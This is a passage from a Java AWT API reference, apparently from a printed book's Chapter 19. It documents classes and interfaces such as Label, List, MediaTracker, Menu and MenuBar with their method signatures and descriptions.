top

public int top

The border width for the top of a Container.

Constructors

Insets

public Insets (int top, int left, int bottom, int right)

Parameters

top

The border width for the top of a Container.

left

The border width for the left side of a Container.

bottom

The border width for the bottom of a Container.

right

The border width for the right side of a Container.

Description

Constructs an Insets object with the appropriate border settings.

Instance Methods

clone

public Object clone()

Returns

Clone of original object.

Overrides

Object.clone()

Description

Creates a copy of the original instance of an object.

equals

public boolean equals (Object obj) (New)

Parameters

obj

The object to be tested.

Returns

true if the objects are equal; false otherwise.

Overrides

Object.equals(Object)

Description

Tests two Insets objects for equality.

toString

public String toString()

Returns

A string representation of the Insets object.

Overrides

Object.toString()

See Also

Cloneable, Container, Object, Serializable, String

Previous | Home | Next
Image | Book Index | ItemSelectable (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] ItemSelectable

Previous Chapter 19
java.awt Reference 		Next

ItemSelectable (New)

Name

ItemSelectable (New)

[Graphic: Figure from the text]

Description

An interface that describes an object that has one or more items that can be selected.

Interface Definition

public abstract interface ItemSelectable {
  // Instance Methods
  public abstract void addItemListener (ItemListener l);
  public abstract Object[] getSelectedObjects();
  public abstract void removeItemListener (ItemListener l);
}

Interface Methods

addItemListener

public abstract void addItemListener (ItemListener l)

Parameters

l

The listener to be added.

Description

Adds a listener for ItemEvent objects.

getSelectedObjects

public abstract Object[] getSelectedObjects()

Description

This method returns an array containing Objects representing the items that are currently selected. If no items are selected, null is returned.

removeItemListener

public abstract void removeItemListener (ItemListener l)

Parameters

l

The listener to be removed.

Description

Removes the specified ItemListener so it will not receive ItemEvent objects.

See Also

Checkbox, CheckboxMenuItem, Choice, ItemEvent, ItemListener, List

Previous | Home | Next
Insets | Book Index | Label
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] Label

Previous Chapter 19
java.awt Reference 		Next

Label

Name

Label

[Graphic: Figure from the text]

Description

The Label is a Component that displays a single line of static text.

Class Definition

public class java.awt.Label
    extends java.awt.Component {

  // Constants
  public static final int CENTER;
  public static final int LEFT;
  public static final int RIGHT;

  // Constructors
  public Label();
  public Label (String label);
  public Label (String label, int alignment);

  // Instance Methods
  public void addNotify();
  public int getAlignment();
  public String getText();
  public synchronized void setAlignment (int alignment);
  public synchronized void setText (String label);

  // Protected Instance Methods
  protected String paramString();
}

Constants

CENTER

public static final int CENTER

Description

Constant to center text within the label.

LEFT

public static final int LEFT

Description

Constant to left justify text within the label.

RIGHT

public static final int RIGHT

Description

Constant to right justify text within the label.

Constructors

Label

public Label()

Description

Constructs a Label object with the text centered within the label.

public Label (String label)

Parameters

label

The text for the label

Description

Constructs a Label object with the text label centered within the label.

public Label (String label, int alignment)

Parameters

label

The text for the label

alignment

The alignment for the label; one of the constants CENTER, LEFT, or RIGHT.

Throws

IllegalArgumentException

If alignment is not one of CENTER, LEFT, or RIGHT.

Description

Constructs a Label object, with a given alignment and text of label.

Instance Methods

addNotify

public void addNotify()

Overrides

Component.addNotify()

Description

Creates Label's peer.

getAlignment

public int getAlignment()

Returns

Current alignment.

getText

public String getText()

Returns

Current text of Label.

setAlignment

public synchronized void setAlignment (int alignment)

Parameters

alignment

New alignment for Label; CENTER, LEFT, or RIGHT.

Throws

IllegalArgumentException

If alignment is not one of CENTER, LEFT, or RIGHT.

Description

Changes the current alignment of Label.

setText

public synchronized void setText (String label)

Parameters

label

New text for Label.

Description

Changes the current text of Label.

Protected Instance Methods

paramString

protected String paramString()

Returns

String with current settings of Label.

Overrides

Component.paramString()

Description

Helper method for toString() to generate string of current settings.

See Also

Component, String

Previous | Home | Next
ItemSelectable (New) | Book Index | LayoutManager
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] LayoutManager

Previous Chapter 19
java.awt Reference 		Next

LayoutManager

Name

LayoutManager

[Graphic: Figure from the text]

Description

LayoutManager is an interface that defines the responsibilities of an object that wants to lay out Components to the display in a Container.

Interface Definition

public abstract interface java.awt.LayoutManager {

  // Interface Methods
  public abstract void addLayoutComponent (String name,
      Component component);
  public abstract void layoutContainer (Container target);
  public abstract Dimension minimumLayoutSize (Container target);
  public abstract Dimension preferredLayoutSize (Container target);
  public abstract void removeLayoutComponent (Component component);
}

Interface Methods

addLayoutComponent

public abstract void addLayoutComponent (String name, Component component)

Parameters

name

Name of component to add.

component

Actual component being added.

Description

Called when you call Container.add(String, Component) to add an object to a container.

layoutContainer

public abstract void layoutContainer (Container target)

Parameters

target

The container who needs to be redrawn.

Description

Called when target needs to be redrawn.

minimumLayoutSize

public abstract Dimension minimumLayoutSize (Container target)

Parameters

target

The container whose size needs to be calculated.

Returns

Minimum Dimension of the container target

Description

Called when the minimum size of the target container needs to be calculated.

preferredLayoutSize

public abstract Dimension preferredLayoutSize (Container target)

Parameters

target

The container whose size needs to be calculated.

Returns

Preferred Dimension of the container target

Description

Called when the preferred size of the target container needs to be calculated.

removeLayoutComponent

public abstract void removeLayoutComponent (Component component)

Parameters

component

Component to no longer track.

Description

Called when you call Container.remove(Component) to remove a component from the layout.

See Also

Component, Container, FlowLayout, GridLayout, Object, String

Previous | Home | Next
Label | Book Index | LayoutManager2 (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] LayoutManager2

Previous Chapter 19
java.awt Reference 		Next

LayoutManager2 (New)

Name

LayoutManager2 (New)

[Graphic: Figure from the text]

Description

LayoutManager2 is an extension of LayoutManager. It provides a more generalized way to add components to a container, as well as more sizing and alignment methods.

Interface Definition

public abstract interface java.awt.LayoutManager2
    extends java.awt.LayoutManager {

  // Interface Methods
  public abstract void addLayoutComponent (Component comp,
      Object constraints);
  public abstract float getLayoutAlignmentX(Container target);
  public abstract float getLayoutAlignmentY(Container target);
  public abstract void invalidateLayout(Container target);
  public abstract Dimension maximumLayoutSize(Container target);
}

Interface Methods

addLayoutComponent

public abstract void addLayoutComponent (Component comp, Object constraints)

Parameters

comp

Component to add.

constraints

Constraints on the component.

Description

Called to add an object to a container. This is slightly more generic than LayoutManager's addLayoutComponent(String, Component).

getLayoutAlignmentX

public abstract float getLayoutAlignmentX (Container target)

Parameters

target

The container to inspect.

Returns

A value between 0 and 1.

Description

This method returns the preferred alignment of the given container target. A return value of 0 is left aligned, .5 is centered, and 1 is right aligned.

getLayoutAlignmentY

public abstract float getLayoutAlignmentY (Container target)

Parameters

target

The container to inspect.

Returns

A value between 0 and 1.

Description

This method returns the preferred alignment of the given container target. A return value of 0 is top aligned, .5 is centered, and 1 is bottom aligned.

invalidateLayout

public abstract void invalidateLayout (Container target)

Parameters

target

The container to invalidate.

Description

Sophisticated layout managers may cache information to improve performance. This method can be used to signal the manager to discard any cached information and start fresh.

maximumLayoutSize

public abstract Dimension maximumLayoutSize (Container target)

Returns

The maximum size of target.

Parameters

target

The container to inspect.

Description

This method returns the maximum size of target using this layout manager.

See Also

BorderLayout, CardLayout, Component, Container, GridBagLayout, Object, String

Previous | Home | Next
LayoutManager | Book Index | List
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] List

Previous Chapter 19
java.awt Reference 		Next

List

Name

List

[Graphic: Figure from the text]

Description

The List is a Component that provides a scrollable list of choices to select from. A List can be in one of two modes: single selection mode, in which only one item may be selected at a time; and multiple selection mode, in which several items may be selected at one time. A list does not necessarily display all of the choices at one time; one of the constructors lets you specify the number of choices to display simultaneously. Although the changes in 1.1 are extensive, almost all of them can be boiled down to (1) using the 1.1 event model, and (2) standardizing method names (e.g. set/get pairs).

Class Definition

public class java.awt.List
    extends java.awt.Component
    implements java.awt.ItemSelectable {

  // Constructors
  public List();
  public List (int rows);   (New)
  public List (int rows, boolean multipleSelections);

  // Instance Methods
  public void add (String item);   (New)
  public synchronized void add (String item, int index);   (New)
  public void addActionListener (ActionListener l);   (New)
  public void addItem (String item);
  public synchronized void addItem (String item, int index);   (Deprecated)
  public void addItemListener (ItemListener l);   (New)
  public void addNotify();
  public boolean allowsMultipleSelections();   (Deprecated)
  public synchronized void clear();   (Deprecated)
  public int countItems();   (Deprecated)
  public synchronized void delItem (int position);
  public synchronized void delItems (int start, int end);   (Deprecated)
  public synchronized void deselect (int index);
  public String getItem (int index);
  public int getItemCount();   (New)
  public synchronized String[] getItems();   (New)
  public Dimension getMinimumSize();   (New)
  public Dimension getMinimumSize (int rows);   (New)
  public Dimension getPreferredSize();   (New)
  public Dimension getPreferredSize (int rows);   (New)
  public int getRows();
  public synchronized int getSelectedIndex();
  public synchronized int[] getSelectedIndexes();
  public synchronized String getSelectedItem();
  public synchronized String[] getSelectedItems();
  public Object[] getSelectedObjects();   (New)
  public int getVisibleIndex();
  public boolean isIndexSelected(int index);   (New)
  public boolean isMultipleMode();   (New)
  public boolean isSelected (int index);   (Deprecated)
  public synchronized void makeVisible (int index);
  public Dimension minimumSize();   (Deprecated)
  public Dimension minimumSize (int rows);   (Deprecated)
  public Dimension preferredSize();   (Deprecated)
  public Dimension preferredSize (int rows);   (Deprecated)
  public synchronized void remove (int position);   (New)
  public synchronized void remove (String item);   (New)
  public void removeActionListener (ActionListener l);   (New)
  public synchronized void removeAll();   (New)
  public void removeItemListener (ItemListener l);   (New)
  public void removeNotify();
  public synchronized void replaceItem (String newItem, int index);
  public synchronized void select (int position);
  public synchronized void setMultipleMode (boolean b);   (New)
  public synchronized void setMultipleSelections (boolean value);   (Deprecated)

  // Protected Instance Methods
  protected String paramString();
  protected void processActionEvent (ActionEvent e);   (New)
  protected void processEvent (AWTEvent e);   (New)
  protected void processItemEvent (ItemEvent e);   (New)
}

Constructors

List

public List()

Description

Constructs a List object in single-selection mode.

public List (int rows) (New)

Parameters

rows

Requested number of rows to display.

Description

Constructs a List object with the specified number of rows, in single-selection mode.

public List (int rows, boolean multipleSelections)

Parameters

rows

Requested number of rows to display.

multipleSelections

true to allow multiple selections; false to select one item at a time.

Description

Constructs a List object.

Instance Methods

add

public void add (String item) (New)

Parameters

item

Text for entry to add.

Description

Adds a new entry to the available choices.

public synchronized void add (String item, int index) (New)

Parameters

item

Text for entry to add.

index

Position at which to add entry; the first entry has an index of zero.

Description

Adds a new entry to the available choices at the designated position.

addActionListener

public void addActionListener (ActionListener l) (New)

Parameters

l

An object that implements the ActionListener interface.

Description

Add a listener for the action event.

addItem

public void addItem (String item)

Parameters

item

Text for entry to add.

Description

Replaced by add(String).

public synchronized void addItem (String item, int index) (Deprecated)

Parameters

item

Text for entry to add.

index

Position at which to add entry; the first entry has an index of zero.

Description

Replaced by add(String, int).

addItemListener

public void addItemListener (ItemListener l) (New)

Parameters

l

The listener to be added.

Implements

ItemSelectable.addItemListener(ItemListener l)

Description

Adds a listener for the ItemEvent objects this List fires off.

addNotify

public void addNotify()

Overrides

Component.addNotify()

Description

Creates List's peer.

allowsMultipleSelections

public boolean allowsMultipleSelections() (Deprecated)

Returns

true if multi-selection active, false otherwise. Replaced by isMultipleMode().

clear

public synchronized void clear() (Deprecated)

Description

Clears all the entries out of the List. Replaced by removeAll().

countItems

public int countItems() (Deprecated)

Returns

Number of items in the List. Replaced by getItemCount().

delItem

public synchronized void delItem (int position)

Parameters

position

Position of item to delete.

Description

Removes a single entry from the List. Replaced by remove(int) and remove(String).

delItems

public synchronized void delItems (int start, int end) (Deprecated)

Parameters

start

Starting position of entries to delete.

end

Ending position of entries to delete.

Description

Removes a set of entries from the List.

deselect

public synchronized void deselect (int index)

Parameters

index

Position to deselect.

Description

Deselects the entry at the designated position, if selected.

getItem

public String getItem (int index)

Parameters

index

Position of entry to get.

Throws

ArrayIndexOutOfBoundsException

If index is invalid.

Returns

String for entry at given position.

getItemCount

public int getItemCount() (New)

Returns

Number of items in the List.

getItems

public String[] getItems() (New)

Returns

The string items in the List.

getMinimumSize

public Dimension getMinimumSize() (New)

Returns

The minimum dimensions of the List.

public Dimension getMinimumSize (int rows) (New)

Parameters

rows

Number of rows within List to size.

Returns

The minimum dimensions of a List of the given size.

getPreferredSize

public Dimension getPreferredSize() (New)

Returns

The preferred dimensions of the List.

public Dimension getPreferredSize (int rows) (New)

Parameters

rows

Number of rows within List to size.

Returns

The preferred dimensions of a List of the given size.

getRows

public int getRows()

Returns

Returns number of rows requested to be displayed in List.

getSelectedIndex

public synchronized int getSelectedIndex()

Returns

Position of currently selected entry, or -1 if nothing is selected, or if multiple entries are selected.

getSelectedIndexes

public synchronized int[] getSelectedIndexes()

Returns

An array whose elements are the indices of the currently selected entries.

getSelectedItem

public synchronized String getSelectedItem()

Returns

Currently selected entry as a String, or null if nothing is selected, or if multiple entries are selected.

getSelectedItems

public synchronized String[] getSelectedItems()

Returns

An array of strings whose elements are the labels of the currently selected entries.

getSelectedObjects

public Object[] getSelectedObjects() (New)

Implements

ItemSelectable.getSelectedObjects()

Returns

An array of strings whose elements are the labels of the currently selected entries.

getVisibleIndex

public int getVisibleIndex()

Returns

The last index from a call to makeVisible().

isIndexSelected

public boolean isIndexSelected (int index) (New)

Parameters

index

Position to check.

Returns

true if index selected, false otherwise.

Description

Checks to see if a particular entry is currently selected.

isMultipleMode

public boolean isMultipleMode() (New)

Returns

true if multiple selection is allowed, false otherwise.

isSelected

public boolean isSelected (int index) (Deprecated)

Parameters

index

Position to check.

Returns

true if index selected, false otherwise.

Description

Checks to see if a particular entry is currently selected. Replaced by isIndexSelected(int).

makeVisible

public synchronized void makeVisible (int index)

Parameters

index

Position to make visible on screen.

Description

Ensures an item is displayed on the screen.

minimumSize

public Dimension minimumSize() (Deprecated)

Returns

The minimum dimensions of the List. Replaced by getMinimumSize().

public Dimension minimumSize (int rows) (Deprecated)

Parameters

rows

Number of rows within List to size.

Returns

The minimum dimensions of a List of the given size. Replaced by getMinimumSize(int).

preferredSize

public Dimension preferredSize() (Deprecated)

Returns

The preferred dimensions of the List. Replaced by getPreferredSize().

public Dimension preferredSize (int rows) (Deprecated)

Parameters

rows

Number of rows within List to size.

Returns

The preferred dimensions of a List of the given size. Replaced by getPreferredSize(int).

remove

public synchronized void remove (int position) (New)

Parameters

position

Position of item to remove.

Description

Removes a single entry from the List.

public synchronized void remove (String item) (New)

Parameters

item

Item to remove.

Throws

IllegalArgumentException

If item is not in the List.

Description

Removes a single entry from the List.

removeActionListener

public void removeActionListener (ActionListener l) (New)

Parameters

l

One of this List's ActionListeners.

Description

Remove an action event listener.

removeAll

public synchronized removeAll() (New)

Description

Removes all items from the List.

removeItemListener

public void removeItemListener (ItemListener l) (New)

Parameters

l

The listener to be removed.

Implements

ItemSelectable.removeItemListener (ItemListener l)

Description

Removes the specified ItemListener so it will not receive ItemEvent objects from this List.

removeNotify

public void removeNotify()

Description

Destroys the peer of the List.

replaceItem

public synchronized void replaceItem (String newItem, int index)

Parameters

newItem

Label for entry to add.

index

Position of entry to replace.

Description

Replaces the contents at a particular position with a new entry.

select

public synchronized void select (int position)

Parameters

position

Position to make selected entry.

Description

Makes the given entry the selected one for the List.

setMultipleMode

public synchronized void setMultipleMode (boolean b) (New)

Parameters

b

true to enable multiple selections; false to disable multiple selections.

Description

Changes List's selection mode based upon flag.

setMultipleSelections

public synchronized void setMultipleSelections (boolean value) (Deprecated)

Parameters

value

true to enable multiple selections; false to disable multiple selections.

Description

Changes List's selection mode based upon flag. Replaced by setMultipleMode(boolean).

Protected Instance Methods

paramString

protected String paramString()

Returns

String with current settings of List.

Overrides

Component.paramString()

Description

Helper method for toString() to generate string of current settings.

processActionEvent

protected void processActionEvent (ActionEvent e) (New)

Parameters

e

The action event to process.

Description

Action events are passed to this method for processing. Normally, this method is called by processEvent().

processEvent

protected void processEvent (AWTEvent e) (New)

Parameters

e

The event to process.

Description

Low-level AWTEvents are passed to this method for processing.

processItemEvent

protected void processItemEvent(ItemEvent e) (New)

Parameters

e

The item event to process.

Description

Item events are passed to this method for processing. Normally, this method is called by processEvent().

See Also

Component, Dimension, ItemSelectable, String

Previous | Home | Next
LayoutManager2 (New) | Book Index | MediaTracker
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] MediaTracker

Previous Chapter 19
java.awt Reference 		Next

MediaTracker

Name

MediaTracker

[Graphic: Figure from the text]

Description

The MediaTracker class assists in the loading of multimedia objects across the network. It can be used to wait until an object (or group of objects) has been loaded completely. Tracked objects are assigned to groups; if there is more than one object in a group, you can only track the behavior of the group as a whole (i.e., it isn't possible to track an individual object unless it is the only object in its group). Currently (1.0.2 and 1.1) MediaTracker only works for Image objects; future releases may extend MediaTracker to other multi-media types.

Class Definition

public abstract class java.awt.MediaTracker
    extends java.lang.Object
    implements java.io.Serializable {

  // Constants
  public static final int ABORTED;
  public static final int COMPLETE;
  public static final int ERRORED;
  public static final int LOADING;

  // Constructors
  public MediaTracker (Component component);

  // Instance Methods
  public void addImage (Image image, int id);
  public synchronized void addImage (Image image, int id, int width, int height);
  public boolean checkAll();
  public synchronized boolean checkAll (boolean load);
  public boolean checkID (int id);
  public synchronized boolean checkID (int id, boolean load);
  public synchronized Object[] getErrorsAny();
  public synchronized Object[] getErrorsID (int id);
  public synchronized boolean isErrorAny();
  public synchronized boolean isErrorID (int id);
  public synchronized void removeImage(Image image);   (New)
  public synchronized void removeImage(Image image, int id);   (New)
  public synchronized void removeImage(Image image, int id, int width, int height);   (New)
  public synchronized int statusAll (boolean load);
  public synchronized int statusID (int id, boolean load);
  public void waitForAll() throws InterruptedException;
  public synchronized boolean waitForAll (long ms) throws InterruptedException;
  public void waitForID (int id) throws InterruptedException;
  public synchronized boolean waitForID (int id, long ms) throws InterruptedException;
}

Constants

ABORTED

public static final int ABORTED

Flag that indicates that the loading process aborted while loading a particular image.

COMPLETE

public static final int COMPLETE

Flag that indicates a particular image loaded successfully.

ERRORED

public static final int ERRORED

Flag that indicates an error occurred while a particular image was loading.

LOADING

public static final int LOADING

Flag that indicates a particular image is still loading.

Constructors

MediaTracker

public MediaTracker (Component component)

Parameters

component

Component that eventually renders objects being tracked.

Description

Constructs an MediaTracker object.

Instance Methods

addImage

public void addImage (Image image, int id)

Parameters

image

Image to track.

id

ID of a group.

Description

Tells a MediaTracker to track the loading of image, placing the image in the group identified by id.

public synchronized void addImage (Image image, int id, int width, int height)

Parameters

image

Image to track.

id

ID of a group.

width

Eventual rendering width.

height

Eventual rendering height.

Description

Tells a MediaTracker to track the loading of image, which will be scaled to the given height and width, placing the image in the group identified by id.

checkAll

public boolean checkAll()

Returns

true if images completed loading (successfully or unsuccessfully), false otherwise.

Description

Determines if all images have finished loading.

public synchronized boolean checkAll (boolean load)

Parameters

load

Flag to force image loading to start.

Returns

true if all images have completed loading (successfully or unsuccessfully), false otherwise.

Description

Determines if all images have finished loading; the load parameter may be used to force images to start loading.

checkID

public boolean checkID (int id)

Parameters

id

ID of a group.

Returns

true if all images have completed loading (successfully or unsuccessfully), false otherwise.

Description

Determines if all images with the given ID tag have finished loading.

public synchronized boolean checkID (int id, boolean load)

Parameters

id

ID of a group.

load

Flag to force image loading to start.

Returns

true if all images have completed loading (successfully or unsuccessfully), false otherwise.

Description

Determines if all images with the given ID tag have finished loading; the load parameter may be used to force images to start loading.

getErrorsAny

public synchronized Object[] getErrorsAny()

Returns

An array of objects managed by this media tracker that encountered a loading error.

Description

Checks to see if any media encountered an error while loading.

getErrorsID

public synchronized Object[] getErrorsID (int id)

Parameters

id

ID of a group.

Returns

An array of objects that encountered a loading error.

Description

Checks to see if any media with the given ID tag encountered an error while loading.

isErrorAny

public synchronized boolean isErrorAny()

Returns

true if an error occurred, false otherwise.

Description

Checks to see if any media monitored by this media tracker encountered an error while loading.

isErrorID

public synchronized boolean isErrorID (int id)

Parameters

id

ID of a group.

Returns

true if error happened, false otherwise.

Description

Checks to see if any media in the given group encountered an error while loading.

removeImage

public synchronized void removeImage (Image image) (New)

Parameters

image

The image to remove.

Description

Removes the specified image from this MediaTracker.

public synchronized void removeImage (Image image, int id) (New)

Parameters

image

The image to remove.

id

ID of a group.

Description

Removes the specified image from this MediaTracker. Only instances matching the given id will be removed.

public synchronized void removeImage (Image image, int id, int width, int height) (New)

Parameters

image

The image to remove.

id

ID of a group.

width

Width of the scaled image, or -1 for unscaled.

height

Height of the scaled image, or -1 for unscaled.

Description

Removes the specified image from this MediaTracker. Only instances matching the given id and scale sizes will be removed.

statusAll

public synchronized int statusAll (boolean load)

Parameters

load

Flag to force image loading to start.

Returns

MediaTracker status flags ORed together.

Description

Checks load status of all the images monitored by this media tracker; the load parameter may be used to force images to start loading.

statusID

public synchronized int statusID (int id, boolean load)

Parameters

id

ID of a group.

load

Flag to force image loading to start.

Returns

MediaTracker status flags ORed together.

Description

Checks load status of all the images in the given group; the load parameter may be used to force images to start loading.

waitForAll

public void waitForAll() throws InterruptedException

Throws

InterruptedException

If waiting interrupted.

Description

Waits for all the images monitored by this media tracker to load.

public synchronized boolean waitForAll (long ms) throws InterruptedException

Parameters

ms

Time to wait for loading.

Throws

InterruptedException

If waiting interrupted.

Returns

true if images fully loaded, false otherwise.

Description

Waits at most ms milliseconds for all images monitored by this media tracker to load.

waitForID

public void waitForID (int id) throws InterruptedException

Parameters

id

ID of a group.

Throws

InterruptedException

If waiting interrupted.

Description

Waits for images in the given group to load.

public synchronized boolean waitForID (int id, long ms) throws InterruptedException

Parameters

id

ID of a group.

ms

Maximum time to wait for loading.

Throws

InterruptedException

If waiting interrupted.

Returns

true if images fully loaded, false otherwise.

Description

Waits at most ms milliseconds for the images in the given group to load.

See Also

Component, Image, Object

Previous | Home | Next
List | Book Index | Menu
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] Menu

Previous Chapter 19
java.awt Reference 		Next

Menu

Name

Menu

[Graphic: Figure from the text]

Description

The Menu class represents a group of MenuItem objects. Menus themselves are menu items, allowing you to build multi-level menus. Menus are always attached to MenuBars, which currently can only belong to frames.

Class Definition

public class java.awt.Menu
    extends java.awt.MenuItem
    implements java.awt.MenuContainer {

  // Constructors
  public Menu();   (New)
  public Menu (String label);
  public Menu (String label, boolean tearOff);

  // Instance Methods
  public synchronized MenuItem add (MenuItem item);
  public void add (String label);
  public void addNotify();
  public void addSeparator();
  public int countItems();   (Deprecated)
  public MenuItem getItem (int index);
  public int getItemCount();   (New)
  public void insert (String label, int index);   (New)
  public synchronized void insert (MenuItem menuitem, int index);   (New)
  public void insertSeparator (int index);   (New)
  public boolean isTearOff();
  public String paramString();    (New)
  public synchronized void remove (int index);
  public synchronized void remove (MenuComponent component);
  public synchronized void removeAll();   (New)
  public void removeNotify();
}

Constructors

Menu

public Menu() (New)

Description

Constructs a Menu object.

public Menu (String label)

Parameters

label

Text that appears on Menu.

Description

Constructs a Menu object with the given label.

public Menu (String label, boolean tearOff)

Parameters

label

Text that appears on Menu.

tearOff

true to create a tear-off menu, false otherwise.

Description

Constructs a Menu object; this will be a tear-off menu if tearOff is set to true.

Instance Methods

add

public synchronized MenuItem add (MenuItem item)

Parameters

item

A MenuItem to add to the Menu.

Returns

Item just added.

Description

Adds a new item to a Menu.

public void add (String label)

Parameters

label

Text for a MenuItem

Description

Constructs a new MenuItem object with the given label, and adds it to a Menu.

addNotify

public void addNotify()

Overrides

MenuItem.addNotify()

Description

Creates a Menu peer, and peers for all MenuItem objects that appear on it.

addSeparator

public void addSeparator()

Description

Adds a separator bar to the Menu.

countItems

public int countItems() (Deprecated)

Returns

The number of items on the menu. Replaced by getItemCount().

getItem

public MenuItem getItem (int index)

Parameters

index

The position of the MenuItem to fetch; the first item has index 0.

Returns

The MenuItem at the designated position.

getItemCount

public int getItemCount() (New)

Returns

The number of items on the menu.

insert

public void insert (String label, int index) (New)

Parameters

label

The label for the new item.

index

The position for the new item.

Description

Adds a new item to this menu.

public synchronized void insert (MenuItem menuitem, int index) (New)

Parameters

menuitem

The item to add.

index

The position for the new item.

Throws

IllegalArgumentException

If index is less than zero.

Description

Adds a new item to this menu.

insertSeparator

public void insertSeparator (int index) (New)

Parameters

index

The position for the separator.

Throws

IllegalArgumentException

If index is less than zero.

Description

Adds a separator to this menu.

isTearOff

public boolean isTearOff()

Returns

true if the menu is a tear-off menu, false otherwise.

paramString

public String paramString() (New)

Returns

String with current settings of Menu.

Overrides

MenuItem.paramString()

Description

Helper method for toString() to generate string of current settings.

remove

public synchronized void remove (int index)

Parameters

index

The position of the MenuItem to remove.

Description

Removes an item from the Menu.

public synchronized void remove (MenuComponent component)

Parameters

component

The element to remove.

Implements

MenuContainer.remove()

Description

Removes an item from the Menu.

removeAll

public synchronized void removeAll() (New)

Description

Removes all items from the Menu.

removeNotify

public void removeNotify()

Description

Destroys Menu peer, and peers for all MenuItem objects that appear on it.

See Also

Frame, MenuComponent, MenuContainer, MenuItem, String

Previous | Home | Next
MediaTracker | Book Index | MenuBar
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] MenuBar

Previous Chapter 19
java.awt Reference 		Next

MenuBar

Name

MenuBar

[Graphic: Figure from the text]

Description

A MenuBar holds menus. MenuBars are always attached to frames, and displayed on the top line of the Frame. One menu in a MenuBar may be designated a "help" menu.

Class Definition

public class java.awt.MenuBar
    extends java.awt.MenuComponent
    implements java.awt.MenuContainer {

  // Constructors
  public MenuBar();

  // Instance Methods
  public synchronized Menu add (Menu m);
  public void addNotify();
  public int countMenus();   (Deprecated)
  public void deleteShortcut (MenuShortcut s);   (New)
  public Menu getHelpMenu();
  public Menu getMenu (int index);
  public int getMenuCount();   (New)
  public MenuItem getShortcutMenuItem (MenuShortcut s);   (New)
  public synchronized void remove (int index);
  public synchronized void remove (MenuComponent component);
  public void removeNotify();
  public synchronized void setHelpMenu (Menu m);
  public synchronized Enumeration shortcuts();   (New)
}

Constructors

MenuBar

public MenuBar()

Description

Constructs a MenuBar object.

Instance Methods

add

public synchronized Menu add (Menu m)

Parameters

m

A Menu to add to MenuBar.

Returns

Item just added.

Description

Adds a new menu to the MenuBar.

addNotify

public void addNotify()

Description

Creates MenuBar's peer and peers of contained menus.

countMenus

public int countMenus() (Deprecated)

Returns

The number of menus on the menu bar. Replaced by getMenuCount().

deleteShortcut

public void deleteShortcut (MenuShortcut s) (New)

Parameters

s

The shortcut to remove.

Description

Removes a menu shortcut.

getHelpMenu

public Menu getHelpMenu()

Returns

The menu that was designated the help menu.

getMenu

public Menu getMenu (int index)

Parameters

index

The position of the Menu to fetch.

Returns

The Menu at the designated position.

getMenuCount

public int getMenuCount() (New)

Returns

The number of menus on the menu bar.

getShortcutMenuItem

public MenuItem getShortcutMenuItem (MenuShortcut s) (New)

Parameters

s

A menu shortcut.

Returns

The corresponding menu item.

Description

Finds the MenuItem corresponding to the given MenuShortcut, or null if no match is found.

remove

public synchronized void remove (int index)

Parameters

index

The position of the Menu to remove.

Description

Removes a Menu from the MenuBar.

public synchronized void remove (MenuComponent component)

Parameters

component

The element of the MenuBar to remove.

Implements

MenuContainer.remove()

Description

Removes a Menu from the MenuBar.

removeNotify

public void removeNotify()

Description

Destroys the MenuBar peer, and peers for all Menu objects that appear on it.

setHelpMenu

public synchronized void setHelpMenu (Menu m)

Parameters

m

Menu to designate as the help menu.

Description

Designates a Menu as the MenuBar's help menu.

shortcuts

public synchronized Enumeration shortcuts() (New)

Returns

An Enumeration of MenuShortcut objects.

Description

Returns an Enumeration of all MenuShortcut objects managed by this MenuBar.

See Also

Frame, Menu, MenuComponent, MenuContainer

Previous | Home | Next
Menu | Book Index | MenuComponent
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] MenuComponent

Previous Chapter 19
java.awt Reference 		Next

MenuComponent

Name

MenuComponent

[Graphic: Figure from the text]

Description

The abstract MenuComponent class represents the parent of all menu GUI components.

Class Definition

public abstract class java.awt.MenuComponent
    extends java.lang.Object
    implements java.io.Serializable {

  // Instance Methods
  public final void dispatchEvent (AWTEvent e);   (New)
  public Font getFont();
  public String getName();   (New)
  public MenuContainer getParent();
  public MenuComponentPeer getPeer();   (Deprecated)
  public boolean postEvent (Event e);
  public void removeNotify();
  public void setFont (Font f);
  public void setName (String name);   (New)
  public String toString();

  // Protected Instance Methods
  protected String paramString();   (New)
  protected void processEvent (AWTEvent e);   (New)
}

Instance Methods

dispatchEvent

public final void dispatchEvent (AWTEvent e)

Parameters

e

The AWTEvent to process.

Description

Tells the menu component to deal with the AWTEvent e.

getFont

public Font getFont()

Returns

The font for the current MenuComponent.

getName

public Font getName() (New)

Returns

The name for the current MenuComponent.

getParent

public MenuContainer getParent()

Returns

The parent MenuContainer for the MenuComponent.

getPeer

public MenuComponentPeer getPeer() (New)

Returns

A reference to the MenuComponent's peer.

postEvent

public boolean postEvent (Event e)

Parameters

e

Event instance to post to component.

Returns

Ignored for menus.

Description

Tells the Frame that contains the MenuBar containing the MenuComponent to deal with Event.

removeNotify

public void removeNotify()

Description

Removes peer of MenuComponent's subclass.

setFont

public void setFont (Font f)

Parameters

f

New font for MenuComponent.

Description

Changes the font of the label of the MenuComponent.

setName

public void setName (String name) (New)

Parameters

name

New name for MenuComponent.

Description

Changes the name of the MenuComponent.

toString

public String toString()

Returns

A string representation of the MenuComponent object.

Overrides

Object.toString()

Protected Instance Methods

paramString

protected String paramString() (New)

Returns

String with current settings of MenuComponent.

Overrides

Component.paramString()

Description

Helper method for toString() to generate string of current settings.

processEvent

protected void processEvent (AWTEvent e) (New)

Parameters

e

The event to process.

Description

Low-level AWTEvents are passed to this method for processing.

See Also

Event, Font, MenuBar, MenuComponentPeer, MenuContainer, MenuItem, Object, Serializable, String

Previous | Home | Next
MenuBar | Book Index | MenuContainer
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] MenuContainer

Previous Chapter 19
java.awt Reference 		Next

MenuContainer

Name

MenuContainer

